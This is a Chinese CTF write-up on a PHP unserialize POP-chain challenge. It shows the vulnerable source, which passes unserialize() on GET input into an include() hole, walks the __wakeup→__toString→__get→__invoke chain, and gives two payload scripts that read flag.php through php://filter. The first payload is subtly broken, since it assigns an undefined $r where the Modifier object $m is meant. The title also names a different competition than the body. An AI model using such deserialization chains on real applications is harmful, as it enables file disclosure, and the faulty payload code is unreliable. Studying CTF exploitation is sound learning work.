[BJDCTF2020]EzPHP-POP链
那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例。
题目
1 Welcome to index.php
2 <?php
3 //flag is in flag.php
4 //WTF IS THIS?
5 //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
6 //And Crack It!
7 class Modifier {
8 protected $var;
9 public function append($value){
10 include($value);
11 }
12 public function __invoke(){
13 $this->append($this->var);
14 }
15 }
16
17 class Show{
18 public $source;
19 public $str;
20 public function __construct($file='index.php'){
21 $this->source = $file;
22 echo 'Welcome to '.$this->source."<br>";
23 }
24 public function __toString(){
25 return $this->str->source;
26 }
27
28 public function __wakeup(){
29 if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
30 echo "hacker";
31 $this->source = "index.php";
32 }
33 }
34 }
35
36 class Test{
37 public $p;
38 public function __construct(){
39 $this->p = array();
40 }
41
42 public function __get($key){
43 $function = $this->p;
44 return $function();
45 }
46 }
47
48 if(isset($_GET['pop'])){
49 @unserialize($_GET['pop']);
50 }
51 else{
52 $a=new Show;
53 highlight_file(__FILE__);
54 }
分析
将涉及到的魔法函数先列出一下:
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发
大致分析一下,这道题主要存在两个点:
1.序列化pop链
利用几个类之间相互关联进行构造
2.文件包含漏洞
Modifier类中append函数使用了include(),会出现文件包含漏洞。
详细分析
1.根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。
2._wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;
3.如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。
4.如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。
5.利用文件包含漏洞,使用_invoke()读取flag.php的内容。
Modifier::__invoke()<--Test::__get()<--Show::__toString()
总结
首先反序列化一个实例化的Show($a),就会调用_wakeup(),其中$a会被赋值给source。所以让$a是一个实例化的Show类,这样就会调用_tostring(),然后让里面的$a这个Show类中的str赋值为Test()类,然后让str这个Test()类中的p赋值为Modifier()类。
payload1
1 <?php
2 class Show{
3 public $source;
4 public $str;
5 }
6
7 class Test{
8 public $p;
9
10
11 }
12 class Modifier{
13 protected $var = "php://filter/convert.base64-encode/resource=flag.php";
14
15 }
16 $s = new Show();
17 $t = new Test();
18 $m = new Modifier();
19 $s->source = $s;
20 $s->str = $t;
21 $t->p = $r;
22 var_dump(urlencode(serialize($s)));
23
24 ?>
payload2
1 <?php
2 class Modifier{
3
4 protected $var = "php://filter/convert.base64-encode/resource=flag.php";
5 }
6
7 class Show{
8 public $source;
9 public $str;
10 public function __construct(){
11 $this->str = new Test();
12
13 }
14
15 }
16 class Test{
17 public $p;
18 public function __construct(){
19
20 $this->p = new Modifier();
21 }
22
23 }
24 $a = new Show();
25 $b = new Show();
26 $b->str = "";
27 $b->source = $a;
28 var_dump($b);
29 var_dump(urlencode(serialize($b)));
30 ?>
参考:https://blog.csdn.net/weixin_43952190/article/details/106016260
最新文章
- 关于CDN下查找网站真实ip
- Android线程处理之Handler总结
- js判断鼠标进入以及离开容器的方向
- 新年奉献MVC+EF(CodeFirst)+Easyui医药MIS系统
- JavaEE基础(六)
- DBCP连接池原理分析及配置用法
- Win7x64安装Oracle11201x64 解决PLSQL Developer无法找到oci问题
- 双缓冲绘图和窗口控件的绘制——ATL ActiveX 窗口控件生成向导绘制代码OnDraw的一个错误 .
- 给Notepad++ 6.7 加右键菜单带图标
- 【NOIP2007提高组】字符串展开
- seacms6.5 注入漏洞1
- js原生获取元素的css属性
- maven 使用 log4j
- php留言板程序
- 11.vue 数据交互
- git安装,windows下git bash默认目录更改
- day39数据库之基本数据类型
- SSH框架搭建过程详解
- oracle删除表数据的两种的方式
- windows下搭建vue
热门文章
- 利用模块加载回调函数修改PE导入表实现注入
- C语言程序设计:二分查找(折半查找)
- 移动应用开发:Flutter
- CF938A Word Correction 题解
- Java 中接口和抽象类的 7 大区别!
- centos安装宝塔命令
- 【LeetCode】170. Two Sum III - Data structure design 解题报告(C++)
- 【LeetCode】643. 子数组最大平均数 I Maximum Average Subarray I (Python)
- 1382 - The Queue
- Codeforces 567D:One-Dimensional Battle Ships(二分)